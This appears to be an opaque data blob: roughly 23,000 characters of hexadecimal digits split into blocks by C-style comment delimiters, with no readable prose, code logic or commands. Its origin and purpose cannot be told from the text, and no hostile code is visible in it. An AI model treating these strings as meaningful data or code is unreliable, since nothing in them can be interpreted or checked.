6f80cfe3926245b63794a81ebdecd6151810bae56b8d05e9e9baffb4c4316ae295eed9332f8cf97b558dc38b29729a2dca2524e0e91084e499c54d63b973250eb1d57a3fefe88666df958bb0d5d427b1e8c1c5c61b5f103ed686aa4452bf0f6c2c09928892dc7d670f3b2c080d2f0957ab59cadf803f4087746b12577bd08b26605d44aa3da1dd645e8567f8bd935ac8ce00c99d80ff8bd3fa9479d5a71f16a51857dd593df2c6af5a5cc192c5b0a7781dfea005af7c1262e30d9b2523abe205ffbd1f0fd94f5abdcc914b5b39efc4af48f307fecb9dab9f8b9025fcbe75464cbfb1ec1ce5873e8f4f1143aff482b399bd50dc5736f39b43ecde3b38a34527926f59bb8134aa1e373eea4df10e77434242e91cd9c86963015870d39e67647c092b112a83546c2e99bf62aaf5eea7d89a7a39964d0d01bf79c42412b98ac83ebf5a1ae42572a0b6a7dab444da00a8c6c7aeed658a09178b91729114ad6605a71a83940a276785d998e9cb29875e03b9b9baa2c4ae8df68b647819fe392aa92504748dcb24e03ee0d99a9c43a043f4c72093310699459659c3021661a27737d5a2fbb77d635e51d30035b8f4fbf6d9697016bb0bf1ed912aef8f1db02e56dca387f905fb3da369f3cf4eee7a0b2dcde723419fdf29f7a23e546797f91d79e427b1c86b7d3391d20fd95d4bcbfd2943b1e06d8b149481ee7afdc8924ff509b7eba86128db590796aaa3b92e6b9beb405e8c9aeba0cdbd108e6f0c8d61c9bf04d9250d0d*/
/*57b027f6b1e9eb019914ed709ee28ac2607d740237bbbd2b69fcdacc6bb4616ced5ef3e990304cd3876f4491232eb2665da7005714fedfcb7abee1cc80364fbb332392b3d144e076afc411c07c4ed859598e06bdedceafe47370344ff6d9ef161671b894df641f3a23b6fb425b5ce4ed37474897fb8665cd4d607041873cc38b484736abb462d71f492fc98df2ca5c96225f5c9e8b1b5451700749b66e6e19bc694c4e01c207e4bd60197df587d8fe9b8f552c5e2b21d30d48ad6f0313f52cf906b6f8a623f9b3984026f641b4584acb19a966ecfc5f6109ae8152bf9dbbd7778fc3b9cee724746657ffb25f3c359e1af6dcb1c98bd21b144ddf250de8d46064185138a9cabbac61e329d9deb219c92c410207e358e5a0cef048b4e525f46ddea79d6b4cc9c0b131742e2cab94146b93a635740d6da5488d90dbcd63910501bfb6513531f0399ce2a7079a34d12a7506fee5ccd232ad175d5ecbeeabe865b23e4959fe10ad64e3230086c0a1cb35f54712f21b96b9ede8dcf60e94066387feb85fbab7260c73e25aa00e1dba05cdebe2f7887fb795877f80dbd18f78f44539a534c4a5e6a3e2cb0c508660f84582151f3c1530841d2156a55a97e1b4b64d761eb7da3e5314794d54d2890f7aea529bc870f45706a27a3d5b0bfe867e67d8bcc4944697aa699df8b6f782388fbdeef5acbfb8f64d6fc1718f821035b8fa8c3cb836ca833afb1b6c7e44612cd8bb48c421cbc9fc5acf89d67ad80fccd5fa1b1fc9c5eb06f41e9c125b22b0a03a97fe6a7042e4b95335f67ef756de259b9d79ea298b43ac8b783284802d416558b2f055ea2c0f31c05fb836339f3c9514f65021b325f2d3c9d79eeb07296f46795940c9ca630b60af56d21510db7447abc396b85c75b7509bcff0147a8f044ca2c71a60a04eb385137d1f4d326807e809a38bc560006237553c8efb704a3cde535fe62c6cb33e1f25fa7d4c925143d4af093cbe2c3a0c3c41edcdf9d318c3eff342a69ab81f53967e4bed34da8d6c1f33055f32faa1d0bdf8e59c6d276d0f3c55a1f467f9e01dbdb0989e9af014d1c5c26717a82a64b95c9a564ce212425e3b976c7de031a2763a599911b9c78efca5a8bec8136691435b5d742d8b6c1f2cbea97c5828311bb1e7a7ee57feacc95b699452e731a9c0a47882084ae08ff6fafc5d230e6fbec53accc729619295a7cf39579ee3087911737e350f033ff535cb13fa46ec4345d823d53e0f9e2962920384e7812eab20e50426bc73bfda5d3993f6b903acfc04d3a11806cb8fde43d64a47dbd08dda3ebcaabb20f03b23ef3559c09d36711cee868a6da853d84ac2629d125e9798bc09376fbbc76bbfadcbd42fd50d4c5042a5a86e89e62120246c02ac5630ea5cdf4012e4fd5fedb13481b58f30dd06f1fbb11ea694f52bb13a63a8f2a73d01a672c31d6607e4372552e0992c48780cbcdc2755e1923ed785a6ef7abbc490e9f1aaa9a480d110b08e4a264c86c4608861bb4eb9baba66d1a9665612b81d1c533b39df09cdda56497a783d6afecfa11bd87fb1f35ace689a5f9eb52f17ef11c7fb35e8d97c7fd874f1fa4d6f83cdbe9eb9dca89f0fd750baa963c099af7d7ff553f7289bbda227ad343e271b87d0f9d49660555ce8b32076d529a749fdd7c1fe18d1edcc0b4c617edb71a25c70a9db78aff7e5bc24ba2158b16a9ffdd294be5eeeb5032a9e27d83a6187a027272d1b9d412eee2e90ef399eb7debd1ffe438819900cea34627a8c7afce94b12dcfca5ce3004c3c93be0bc192736fd67abe6938d7225845301e54aa8d8fa8b31d4bf7fa5379e3f3e2c778069e324d3c793457fd30268cc6d6c76cec588efb94a7a1efc6060599dde18a21ef14411b64ba1ea01e197440d71297056c2dac4b255fb369aa2882e9673f3356b4cea296a337418090b4c1ae489a4110fdac00b7b66465cf4f5aafb37bdc993f0af476f58906c888925ad6ce3193f62bed2891391ff932b7d0b85ae8751b214551847638be4d8efa3da11013e9fac1f324557191f9bb02eb160262cac7e059854b5c2980f16057ebf5dfb26644c3274fd5cf01e1b6b3121be6a7ecd8ad6d494579f24570b57150bae12c3e2260909c5a821246b7923f076bc0e4030f06eae1fbf0156f3c9fdfb7ba260ee970ea394a2cae8167732b241ccb0ae7bdfad58deabbeb3f945840430c2bd86f61ec2503e5297483e44f17d564fc18b75a2064ca2ab49840c4e4610c6e578c9c8ccc13db513809f4d143971ec704f6638debc5b7caa96cb97b9170fc53896fd4e744739b8001210b2b9bd601f5768745d2b4bc23ea86689ff702ae0aa3ba6b7cdb806f96dec0426d5211f0bfc9b2806bc05a5aa1a1759c9bb9ce15455db4e62d409887fae59ac37a064af5e8117889d249bf61dfe4a1fab2eb8466fe7ca95d3b464913df0837cf602ed849dc4ad527c592c4f212ca4f061047d7a2d729bc68e1d361c25bf162a7e96310f0ddebc8ad358a58f3d32f93f6423636fbac4ee5868ede542a92e7a01ec271bd4a911475939f1c2f284e2c054d0cc4e72f56e03cf042e8d71d68a626a8719b1ce7bc1697355b82e1248cefa5c45a482a04a2e1095e29c3d12564f0803593100b650886ab1fc87e64d6092a6cabced412111ef5d92e296ead94da11d1a76b452d2bc44f216eb7efb2410a4fce5262a4b44521138a62b3092eeba03826eb871c2fe28433899421806ff8764485d6f0bdf44c884e446be6751649c56a2dbea0264b5a42085fde5650b7c3440d55f442fae33742027017deff2704bde2c50f337cc0a80f7edb5bf24b0c9*/
/*97937042c9aa33e0149bda2d8082129fc771326236b86fae17555b785c8989f8cdd01d9fbb11b880af5245627eb7068a5396691cf06670dcadd1305d20d941da7f97ee2d04ae7f5b3047c48ca23653b1ca0e9cd9a41e108d3c03b94a171306fa696ef71aa7a7d522a3619034e3a9cd8947647ed46ec2d5618f7c7ab6f2fe1a24d5698188975b6d4fcd00b2996b3e3f3b9648a18a7e1b2c3fdd84ace944f156a71090699830db07330f8ed3a468a0e1bf14ea5848c27fa7d617820ced21acde9172bc79d95472a0753088c12e4d5250658d2e26e23b64426f266ebe4d6a4bcd4613959464b0b97b71135ab81d4934547ffd20faaf027b3a482c18c82282ffcf307f51ca6f43bbf8bac85d4d706bbc3397eb0104234121226b555396b4d3206aae07f5ec74d36e139a3508061fe63757e89bbb0c27cfb0c1b275826b7b20d0cd91e0ed4e1be8b45dedc3093fc53dfa2d3c325a4f0bcb2a0007da0b564875e4195f830c7f15adb20190bb196d65704d17ab972cc4dad84fa096ea2507a626c41252967bd3d6d05005e8ae95c01222713675bf54ad1a92e28d5ea8e12d0f864dfe967d0e38176ec4dbf028bf69caf82e42727c227ad684e2407d86bb1f30fe9430d4953afb30092e51ad1fe1ba8135543a375d96471bdc75f62aacb4805320bb9e28bb389e6a1ac0dc0bad6a26867f9fc5d6b02acfc64fd2f20e8b083077ee81f148b803793d8f0116f299574c37fc579daa2a75aa7e6af7eacb9732a1fd2786218fdfbf1e137710626c237db879bfda7423031aaaaad06b335beeb17beec21aa3d35a995f3f3f7dc2011a31270842ce48d3aae238383e79c727d317a66bd2f4f0acc0c3099d7e54eba3f7723d16dce923975448dbc4bf0413ecf25f72c20d2099bc28ebcf26c3a8dd98a01d680fb3715818c473d613ad902f3f57598b0ad24976b31d89b0e2b4cbb4835e7b37f4d14523e681767951865fa253599b34e6c96d584232c3826c70e2cbb970d1e01479e6f8d8abbaa2845f91088d720bfed82853f740337136b5eefffeba1b1c0410376f593054ac44d727d184f47b0961ceba98c5a2eeab22850b78545b36bf716744f76cac57c1af28975b6eb728c905977037bd4db50c183f67e0455d0566e35699748c889e6889895f78fcef3c48650af6f11e5a0eed55f1c8904044533f36d86b3d4fcbe35b4c808c52b8e2c6f95be997e6b994b1276522ed03ec08d518296a28467ac0a2d37cda7b0c9ef011b50f2244e645b6b7c8c3d6ebe8d276a92b0ee8032797a4bfbb5d0698180a31b3e2f485a2b0ca68327e1b900023da5c7fc52b5ec5f12d6beaa2c202876ec115510d9244df334b3c1acc4175a3b677ea4c7f3e35f368cbdcbe4f93dc03ff02cf099aab152146b9c69ecfe89a2333f3dbc456617493f551bf752962e9976b6de132b2e38c33d6ac589ce68d86288abccc2f817dfaa2252bb9c79369f5a62efed6010f040d81cf0eb1c940cb55c71a5e6ad51147b7b6761e7b908446e9d13f817d0419f4374df3a0a537a38ad87ebd4d6d7aa2a116bd3f35c8a57b3a144c7a1153da0146dedef3afea1ec93e4edc4603f55e3b4011ff6143e48d3b4ba0671e8514dac844d40315d301721bf83669928e905090c129da3032c56079f0b54f02885e23f44a03366e86a781b72dbbaa145eda63504b1721a7e940af75dd9d1037140d73c1b667c71661bf85e22bf806731df89aa11de402e2ea5f69ad7a4bc52c0c9a4b9360945975f06b602874d027b72c94e51be021c9de669ea23ec2b1f7b7882513be2218de7df7c4dfae9a53a01c194754f89b8569ef97073d5f6333ef0880865fe4038943bd0511c0e1d99516880cb67bee90c3a93d21ff6e56e96945d27d7861a7f784c2ef390ed1c1d1e2be487882a430d8966325da1aff83d8fdf4c00d46f7d2c609e86df0ff021ab4f6c0bf1c1519bc62642612518027c25a67e1c864a9c652d1aa09607d212d07f8089921843531f0a5113835cd25c5d0e23d40bfb310ccea6172ff16e4082ae771055e89d902cfb175b34f9c66ae930e6bb252e92a8baa4c773504555a67fbd181276d32bc97c900dd98fa5e177f9be5540b283ac0f8ed09e1fe3a203b642049dd7ed008d3fbeb03391bd450fadb9570e9da8771dfbece75f3c599f8bf16517b2adcbbbd5bd66690d2f24c7440228964959b7be18c0a803f48cb1cc6bd8132ddc2592f24c6b20a3bdaf79bc419135a2cedcc406229ebe1929a5d4d9c7ea19036acebabc4287ddec7ab7780fbdf948eacbb50dae92a8da4d20bf3ea482342d6ceb639a1cf3e3d63e7fc84bb9e12838ee0437c873bd1cdbcdaf4eaf25b252e8c7f44c4c446f0e1f584ecfd160eee2c0a55b5de0886b34ef74b26222c018a85082240305acefac684aa62437986d374d663b211e1b1c75f037627fc198854ca68fe03cebcac77948009337f34b40a11b4756e5a6d8caee8eaa2bc40904183061da129b40698b2f5ffd085ae16a6a4c600cc28c7925904cc7f3b9bde097e30be029b7903908f81f89c87f0458005f1e7c57ee469c1acf9611dd5941b7177c8b15d2bd582d8e3080f18351d1e5734580ee53cf009b70d4109946d600be7a972070e5315ff0cdf30a68ddb014a4f73c4f4430b986d9232429ed5d71ede98528f4e41aa165c433a244dfd806bd7c55bfb29314fa5a0e56e41b2d78313ccc4f4b9e8a004048e9c2967b4687fc0e31fd4185c42a454e29054b307ee4dccc01ebd42fb23a2aa324600024a5156b4e6df8c39f8ef8f32708e70d7a601d531e296762b2fd9d637aecbd69abee13f72ee76a1ed4c*/
/*051eb432c2b6af5219aa053738681434835d48475667bf6809816c1bd0d3066666d8f32b1b8e0e8f6aa73cce5d8bc8975df2e26612194990374ff883b91946fccbe47c52312b52ef51dea9e2ebb50eb3c6d5e30231c2c4c2e9cf2272ef69954256c25b403c121cc3f09820d3cc42d019d2acf476ae9c15675a4eff7018b499c1e1925c5dfe6238487dd305587eb3c051c2d99fc38f618deec02e111b36b7a81b61021463858fa369d5c0a903bf3c3a8dae0d6dcbfa45e18e549ec552b5ecdeb6ee34dd294c50ccef61b716147f4ff0dea50899174e0db9b3da51ed4eb90a512c7d630b8d6ab8a5bac57009724348e4535a1266615ad9f507beec281bb3ce0a4f8da9fc43d3dd47ef2c401b942e4736317f7c4cca94536acaccac47d0aa301ba197e6d272ec264b8c1a05436e0f0d23df7c8708df089d9853769db731f94c1c8a7e87ddbea4aebc3e74a2d9a7709099e513e8e1a40dd1118300644c69710855a471c2fdc6e19f8a8bcf9938ebe7362af6a1d7665a4c9c51054092aa103468daadc0d787a52df8885033c946777743124ea2e48a6dc6ee474cfdc0fad784b9a04f4c5b2d20add2810df456b9c4041eb84627bedf96707bba44150cf7a8a07e669ebd823d0c4b8d56195c80b2678ce5b5be48e3c06f0b714c36a28d3eed068019eb0464a94c8f4f8e916b326116c673d2836ed92a9784548a892abb07af8b89419ee11f5a7bae8d1bc72fcc035e19ff76597c3bc1c385e5c7854bd63619ed42bf87b406cec6ba688ba8cd9dac2191c22196580a1b9ad874f246404a93b62c8406a7b7b0b27d31dec41907871cda1b92aae8159609c3fe47fc8d40df53b60e48223e74ca9df76a26b9b1d17843dfdadee39e47c536ef9a83a0ab01cc5528b668cb589a84a5cb5070aaabcc5645e3930713309be88918deede3e9fb5bf01995382bcdb673515599a1d9de8ede4a067910f514501c12fae90b0d5e78a2e4ae2caf75578db3c9d2466712ac26f0359c958abf3e96ed8d8d5ff07abc37dbffb22b23a9a41cd7247d3fcd01101985a1a0b8376e6968e6ac4c425e4bcd9eae528739f10f4c9da3d8ce12e984c39304b460a59fc65821472e18b8afcc42c6e6dfd6291ec08fb91d77b42b11a22196fdce3e3c5be569f31ecd8382b2167218cc60d71c4157a7bb1936ea69f44d0dc012909fb435bad3e163b36f40870cf08a8d2651d0681b0e429213d7ece17bbbf2ca214e92f6a93e2976d8020822004ef3f8b3ba3b270001c2d5b6858f94b5ba95a1c66b962e009da5fb06d51c68079154204d66fdb24951a0660c2b0466b24f74be1e89aa9166823686e6cc1730f4badfc7f78f4ef724f50f1a0b8a3e4215fac2aff3c39d775fa5b25fc4a31f3caaf7a2398d816fd8ac568336c7a0fdf8c0f57ee6fdaf791b961b964d7c344ce597fc8df1b73b5671654d2077efabef56a66413b02467cc60156aafa6d773dd3ca6059f0f139d3ac956965418fa4184c0265d3d23523e467fe281725780bca926d68cb37ee9736e5ee0fa1411cd154c8d36bc5b794ab6bbcf1e28cb8cf22e0697c0bd72ff1fbb2addc71b799d6cb019bd682f78d82a9c38f51dc4b472e3415f92567b62ff7ebb7e960aea082660c0d0e8537bd9e84a087c4e407d9d581ea93ddc1b349da29cede4dffc6f0a9cdea71faf2167162bd4f1383f13d0c791b040e1fe1ac107d14075f5ae6c3868af6077864e55cac750119c6ebe2d271ec6c4f0807e412318fc9ddc43266dfced9e0cdab84cd9037f4b4cff033234495b1fc0f7b102d73433ec7b39dac8fc12396b56c893c6375907454b3e836c01ee767edfb8d380361c0d33800060a06b1e6adcfb5136af224a5ed30bcf298f217864b3e4233f88711ea6d2eec7a3d26e61c4a6310a0127e879c1e208bb4f3d83526375d0091e23bfb82fe282859bb64678c2bfe5d75b2cd6ec3fc5d0a7606528520c9f02170979edd86973d079e97b50013fb0cbee7f0b19aeecfeca726c69b247d5c6029a0a895723324a028095a3d2db8a7a5299f681d3708b7528f97d0833e12f39ce0278b1fe6aef72f9f290dd7045be8faa4f6a788ff287956b756f0456406f9b3cdb896a47819909ae31d3504f3e21b234faf6611f9a3f6d6ee526b0c4210c6b0ec16d0f09f264de0c3c4cd50232552a216550689b8fe8a80b40bbef4e52185dc70136b2243568e1766f2e2ab50b45cf06086ad4567601755525585e86edab7eb76d950a0ec0048cba051fe78e71241e70f49c9200658c503ff861f4b475e89b3c0a49c4d891d98d3917e82b2356639f566e3ec6bbd41de58d79c8e541087a97d4e5e16803a29355def0b128c97139da4f232b548f37f913fdb36bb0f8b2f9889ede7b9114d27c83fbe80877fdb2547761fd59fa0773e5993ded884a809ad553df7a1eaeae61a7d7796e5e3a99d93037c523b420dec356abc3c3311f9838b4fe24e8a8451b4bd0f5ece842334d194384cf8524443fa50b94c4117d8cecc5acc9a0e8c5459bfa1e7615f6cfa6cd3656ef5a210d8c4a384cd4f6c8f0943cad36a53daf7de6fc5ada83827200221797bc82c00d750b5d5e01aa4c9b7742050c2db4c141b50aee23fd18c0653b91afd3c3accbe67a3ca0fc3e45581bed159123ebb8c6614650bb5d8a758967dd79626437cd9681205caa1321a62f683eed966ba5253d2e5f5beddfd2db83170f466b506e49b7adff830255bae02972dafa47af259656629054006f4a0180bb75976f5b01d067bddc86124136f149922ef95e859325b2f01dd4f7c7f7bbcf7968a328f417997843d97ca1df8bcd571e1473c3d9*/
/*fa942840df6045abd16c0049f1042440c23c01b0369962be4ed634e3a80fae4e2dbe96559c7cd0eeba3a06dcea3a739b0d9e486a458ecdcef4e01f751de89f54d525f2f875e4fc3e04f57320bdb99146c467c411d217de6e50532219e86c361a476fb5fff0430890d29974fe57e2feac1b7d8a212b6d86a6589e674bcfa6dd7a4a19e2df8fa0846e10f6379ba70ad192f6e7a11fc13a896db16dbce1f80efd0283503cb6f0fd8e101733af30a119a517f83be6a405363951ac5eb55c5ebd424ecc19fdf28c9cb2249d9e71d5ad9540ffe60706c6965d5a2416acbff1e2991065de94bcbd9342ada95cdf2e3fb159dffe23d56bfeed455084f540df3eb2b75d47412dde3110c3919a96004edbc29d3f91cc35f17a7147169248cb4da3ee98b39ac0183e87d0f3ee3deb4f56340a8fbc85c6b7da079b0a6fa55bcf8f301083133f0326fb8b67e3d8382c6366e61784acf46ffbbb815fafff2230ae78e86ad0704d2879e0f01f6faea21d27b32de4028574e7a58906426a4f40ceec8c33cf162e4d1e282cfed9a57e2c6bbc62cae1e48769aead293adc2e6724cd101326d4bf3964d1093b3078a79fcfc595fb62083795b3fb63c5544a48aae90d6a3e4bf8ee6b5245fad20fa6af77848fe50e229d04232e8ca727d07eb67844a65576254aa485b008a56ea707c7bb901b5d7f264ce4cf88b88c9308fa6a517feeab2a0c403a4d3c4eea3eb5c22ff1caa6aed6af46efcac679ebe6e2f471c5cbb46601cd45ae52212c210a12687041d3d8b621dec6962dbc9a2b33d23948cd2389ced740afd950d04d2f0fae5bcd68929288c940d260cb5499dd5f5c8b3f52bd4f824b6d2eb32980b32c847dd877c1fa719df34765c5ad1a18e121f5e081a656a48f40312a4578bd439f3aafdc875fd12ef6ca25acf75980646271ae08c1c5193baab5d875f93ea86a4ca914b25956951236d30239ff14a669e954a12e06dbb09b7963cfea310d56419702391feec0ecd9abbaaa6501be1d60f5936ee3f80cf95e00d4028d1a31708beb33c6ba2fdba1a33893a5a0ebd1173721321777b39e796518a53130eb2642cbeeca1ac51f2375023606e25cea2b9428d62b5dc7d596de1459c40c309a1a62656cf92968974cc0cb8ab3a15bc77e029be4400e27302a70e0cc28992bded4e9be2e9df4c2b3eb542a631f7dc5aecf5e68d8474cabe15f213da0745188b33d3b83866e9040d22b187aaeec3ba974408651f4185bc719bca62fa2f7e7d176b8f2b37ef8f2f58f601f4e1c769041103983ea5c8e45bd35806c8c5a651a986aba2c6e1eeead95fb3da5587b580df4b7c957be0bc320fa0a26f4622f8c6f657fbb721f8891c915cc15f8bc1ff0659621ada21e948a708ba63eef3de9f1c8b2184083a073165aac21b152fac421643b6c166c0eb1c56c27029e367c2093d44cfe9e5852581f55f76d5f01f0b13c79a3fbe3ce2e47e8e714a8b076051c726cbeb8d1e790222218202296d0560637e695b8d6d369992180e59cd6cb50bc7f7918961b7f1e0d75ff02a24584ef3ef63ad0adc6e543d36616e0b6d233f71e2a0c13844d8cfffb7be9126ab61c75544b90a459271e03848133f3dbd8054e80a4d3bac18b3894bde8b4ef062dfc5a3003deeb8c7122c0e40c8d96389209e781bb821677913c3f4d42abc078fc95a544ad69487793463f96a5ef1f51783462e271dfa46059813a374e856184858b96bfdad7e99202025b5536f5b5ae97645c1ed47ebf21b5dc015a6031f351f0fbcfb781acc57b06ec0ca6eb8a3c64c4a6dc7813d26835752abe468383ac436867312730b967abb3d84c53ed0533e70bb95700e67b9fd76b735a489ae58b10b9b33790f594f339e3cd1bd92fcaadce7789eddd45a8fbc6b50abd162753a576babd3915e4c69f3d2367b7263221f8a28da1e49d345d15ab2759d5841a4584fbb683a223ba9ce1e746b73bb9299b965bc9aeb2ddc87d884ea209fa7cdffe54d63b3254f4948f8528dd68b8f21949b129ceb6a5bdaec0cfbdc7da5b5bbd10e54fbb59e829fdf860954059394a5cdeab63c1b710a4a4e795b7836acf5bba8fd7663886f1737a4224012ef16fc9eaf4d6b349233b8946fd47874a8656c0f09d69ffc381defa08a006766e6108a79bb8524a8efd212be31c54fc3bbdf16a6bf1b6a7de3a2e40c8e0ce344563ea6457079a34de29148eab25d565d1316a0d43ac6cce8e0313607018679d84d6304e4de518f2d25cc38392615de773f8f2a1ac122218f1b6d89ca3fcd9b5da36717282243054fd087874d1e8b6d95f14ec2c90186be8ce3695ca74d3adb6ccd51bbe16e1fe38159d18d95de0665015027a34d8f44cc9a59ac199b33e8a8a3d24aed0829b583b554b3689b7a14e7b07311dc057b0b9fa9be6eaa5308c84fd8fac953079d0e8991dbd18247f5eff953b3c24dd54bc2dbf22d2f8dccca6a915d68328f7f857e655f509548154d4693ae1aa43c48391cce2a9bd365334d04d33b4068cfb965855600d5a8c75a3b89b359473da3bf97ad672151bfd5fc0e94b05631f6c19cbb567847f3891915c45c3f35a11c9bc56f7fc469ca8201497b94402c063f8a6f5c60e70b519609aa020d8da71033a52d508f0ae175980e2614610d7fa7dc8244996ed8c23715f3e125a51dab3f351f95f0b1fa0ecc84c1e9ab3bfc6eceab7db84bac56b71cdc8f9d3feccc7194c2a91e93daf87e79bf49bb3e8b1e1eda7cc41f61e1bbae85bcfcb09e27697ae9888a67a42cf2ab2502c22214d8166da17d49c735d7e9bc61e574369c34aff78f2a0d8688c9ac4550f65da30b06ab8b0db*/
/*b423d937f8cf35170d983037f3c35701faaafe9d3dc60814a0dad95eaa4bc50357f1d495d035bb0581a9bf390a150ac06ec8425086709862ac1b58ca1152a7382935d83e55b68fa67016731ff88ce1256f4c60a4a353be51563ed97ae52bafd82ab041273a355da9c97d3f59b8ed5eaba1db406bd8d51ea5659df116457238d5b9ffd186400bb92588c748eec9fb6993debe08b3f7884736ffb353caa1c6c34d975dd7d4dd44987f4c9fa7d67bb232957ac5f4e2889ed544d6c17192bc3f4318c0c41f9811c1f3bd47bf2eeaf8726137569277de792ea47bc05cdc67df39721fa16056dd95a18cbb0413a7e2fcaa904b4fed3f0949084ffb70d6c899f4644e675eaaea6bac0cf5e1d5619812af3525038c2f083b8de54484965ff155d196165557dde4b9662500852fdf3cc1e3d43fe3db69131762329d7081fe7de2153ccf339c72afa202ed248aacdda25556fe8958195dd9e69b9986f79bbc120e9a743146c0578f6042096068310a7dbda2079e5d9ae5b55a41fdd6bb2887ecc8402a9b81d515cc092708792e7e1e02508038d6de9cd1e8b98dac3faeefbefd5b29fb1e4c60c1588ef35d45b46284654321fa34e7bf7035ad55ed6bcc8b6192f076a4f19399c4023bccb326c7478c5423536163c04f1ce50b15b6c1bf119609080aa2f6a6fcc8ce963c1c0eea040a53ed969913de8c71f899f3932ae136c771a94716e16baf292fd8079bec410ba46be7d3e0ed244ad05f218a351bbcf2a45e01ff6686a2c8ae1bce8e43df3e562357916d496998502d4c03c6c5835b90d0205a2412bd2029c9a055b00691e8f1e61cabed044dd90c8371821b16e76ad08757807c10709b3152d10d5714d5c160aceaffb142ef3c5ce7cafd6c83d83341297da80603cfa13afaa1689cf0099a0e9cce29ea1256cedeefea6331b2ca6b22db1faac322af1c42335a7d416b1ee01f43710fccfc3071d10a9024b0d9db8772b7c5b2b6b7904eebbe6ac82ff5706320efb358007072bbb8d7c6941530dfb9752414317a050354baa4c48062b858de29fee9fea3dbb7027c228663598f2175caacdc6beeb14549206692dec3dcf5dbf0a117fc8c9196383a3d374a94c5b970ea72131d41eee0117098991cdc3768d3822c933aca39d620dd1ca7716d309bec396dc31c3b2759a04c31d90098fc1a66d9904c7f8880ca8d58a7b7acd2f6433a65205db2dae0996dc34abf4c5f7d2280888dfbb88a5235c8718705e89d11615afc99a27d334dc560b4a76126073a471af1ed2d9bb27abba6df7bdd4e23258245994c827fa608beac6f7baf5efeba7120dbbaa031a98c12edf75339d0ecb3a31ea564c11a95d222b0512af2d3c7af95cdf2425065e589dd469dff087b4070c947a113cb5f2144a4243b7907e4a692b77a484c6a4ea7751c4994f01bae87e7daa9621ce4eeb7189334f0b3ae141f36e4c053d7ca8b9c05fae3c0ef64d40d068a561a6a6fe75dc904f48449ab3ae9d08bb57294c1fa4d9b066e314db6ecd659e06486175fe53c55c39a1150df302a96fa6ad5f9a49f96bcca7d096104efb27d03a4deeb952af5e47b9042373b261086d64526f9704a06ad59323b54804a6e4c993e777ccf43f4ba287e30262ec020827a108e9a27f30dcdb817ddd2f07cc68eb50a393f8268f882f89fbe032b75633fa3c78d15da0c44333a68947cd4b0ed598d1a3b1b8564325dee1b31f8cf797b3ec6460ba5d0a490c4cdd0687c2361212bc258e397cd378326a21e64a070bcb7d0da1acaa8d4bc1043a872e3ed380b144c19cd1cb05fe26e5c3cd2a4a13515fa6d8b09810a0bd0df0d5168235abb07912a7fc25eba08d3540fa5aa94edce1cef7712177fd43f6c187434bd27eb839669ff57720bd7b7ac3bfec2c9623a7bd86a865e9e3efc2ae1624e40d1fe298726fe8d36bc750b059d9f13a9260561dc0ab7a238ad222071e97d79d10218e35830819889f382be868f1f0e58bbaf35cf71cf347467dafea00693780591544fed8ea5f13b8eb6d5bed8e33d4ef16856395329cd9381897c62f07503e64600632a4a32a096f80c34e33507869cc9fb9672f757ce417ef77c11dde981ce383e2d2ffda25df43d2c3c784afbb5563137499aad1773f1b1c2e36b5b718c9281876ac2221039ef793ff0c69869d6ab6afbb79c8edf2755f1b37ce087ed1e2e4f2b35507b7516ee338ad56bb65df30f2b76c8b95ddf06556243e6ab2e66e79bfd5dcd60acb8722170cd6c8952b5081a6d514a5aaeffc424f826d46240afd13bc98a904378c18805c3649761bd23fdb14fab9a89240d546b1833da1959eea4dd3131154923423573721c9e3c1bde22ab5b1a830d6920b33f616b498e58d7c2bcb9a97728324ce2a24c4ded5ff07eabdad51d7ffbc33cd76a3c64f7229b0d201528e4da2aaef853fc41a894ebde267fbb459eb7eb20c771a56af86676ab147cfadbdb0c4a53fd9fd556068c27ed944217ddea42d522a7bc295ed48bded472b5a273ed608864a6d42ec6bc310e2b862c3259a2215cfa453420a524c6cf2e277f3d2e719e54e3ed75454a9a0f0d60ef3407a978f50f1062b6a5c812d9d14577f2364d2c948673542ee28995b3bfc3d52557825a43d1e413172228df97f8ccb63b87447f5a35d358d3b452f302e16bd990d3cef0c36e2219378e249dcbec3bed4c779b61950ac7dd3a6de81e69d1d7a8490d73ae988d6529c71315fe4f5099c7c89d61dd6ca17c587711944c0e1367cd48a8e59060f2e26534dd53d8488264a3304bafca087b43e482177b8ead5b366335c9d7f4228adfb2f5dbc0f6bab7b4bebdd16f*/
/*060520cefc2b582926602de0319871748df3d4d1a56c96c1fb0d04343695aa21006bb013b177b192df6e5e5392f9d0a28af31c25f62b47fa5e328d9c733817cc8b93e5f150a5a4de3a604d8c5c5ae09fb6ce3656f681e93ff77edc77572c080a6c97ef3fb8809aa417c9a7f9ba9f01f4215fbe829800a7f87ea47989a0c34aa5cec43c302f6b254051c71bfe75ccea66b9594404362e5c05529e5b3fd066d301cf108cc50c82514b0d2abb4df0b4825616ab097c7e48975d15064aa81d8c2c4ab644db0e4b4dfe5bfe7401ef5660fabea01b42563001339ea58fd0ff6f2ca8d0a126136db1bed676198a7dbeb0ded5ccb0a23a095f77bbe98f03a800dffa3480ab0f7d9802a36aefcf99871de14fa6290c52f6232351c8704da9bf7f946c569b2c4f0bf387175412c303a1d38548a59ab3594aad7f8c9575e427d5658d118afa9d54c1e06de332d124e5be18ce40ced3a5fb2ff38d904b3625eb820f8d435ac9d1a654daaefda8b0c31fcea12ed9c03984ff34b923acb62c46c3cae4513893aa634011ec13a9fcdae3770e4d40861b80cc96bce6afff2f84132a27bbaab23b3acb59bc333bd61d75d770e402e0ad2b045c757683d02e137ec211ed829c85c27da692f5d4d7fcbfd05b6173a79d406eb17edc453cf1f5ecb2b272535b2186aa6f44e21ff6ebff2151db15ab5a56f2e31943c218a57a7209d57f2aa78e03110b0b9811c11a66a19587f7df6c2babfa74a3baa8bd5e6e3f2103d158e9ff58ee72b8a4b12d21edd5895c907e012249db98e22404953914a6249d0adeb34f65f835b5dcd502558b98c07cc475033ea2a955556a6b456d715eae183913bb67687e786f421f0c8941f60a8aaf2b7f88186a7f6eb807b28da72615cc80e99070e96ac925a235bf3ed0be04567b041a803d96b92760b21587fca73fd34f7e4ce01e894dc53069d51c136c881b92cbb2ed8d86328fb0d05aae05740db7ca9408a4a48d3f11d2c89962d83a917ed67c50c3cfadba5b6a7502966866eee12e1bf84f21a2e84757298cc171179e11b87e70710b15d9635ac52555c5c4ac637c7ebdd2478c525c4e7e44b155ff55054180b32a648bbf8e1b833ff9d21dec870e3b11e1d2e495610f437cc9f79e999268079f8a47a3778b08d34b086859dc95ed1bd46ada8dd19846f4625789d79f633288cfd76ce01891ff2ce74fbeb4b1e24d7eec7676a931eadf89f598bdaefa01431873ce264813d8f99d869b63f74090b05d0e48e91cf0416dcc9113aaab27